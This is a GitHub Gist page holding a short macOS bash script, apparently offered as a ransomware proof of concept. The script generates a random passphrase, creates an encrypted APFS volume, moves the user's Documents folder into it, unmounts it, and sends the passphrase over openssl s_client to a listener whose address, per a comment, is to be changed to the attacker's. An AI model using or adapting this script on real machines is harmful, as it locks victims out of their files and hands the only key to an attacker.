Last active
September 20, 2022 11:03
-
-
Save PonchoSec/7f439eec56ff07dafc92152e6cf6d15e to your computer and use it in GitHub Desktop.
macos_script
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env bash | |
sh -c 'p=$(head -n 1024 /dev/urandom | strings| grep -o "[[:alnum:]]" | head -n 64| tr -d "\n");disk_name=$(diskutil info / | grep "APFS Container:" | tr -s " "| cut -d" " -f4);diskutil apfs addVolume "${disk_name}" APFS XX -passphrase "${p}";mv -f ~/Documents/* /Volumes/XX;diskutil umount XX;echo $p | timeout 2 openssl s_client -quiet -connect 127.0.0.1:9001 2>/dev/null;p="";' | |
# change the IP address and Port number | |
# Use chmod +x <name>.sh to make the script executable | |
# With OpenSSL |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment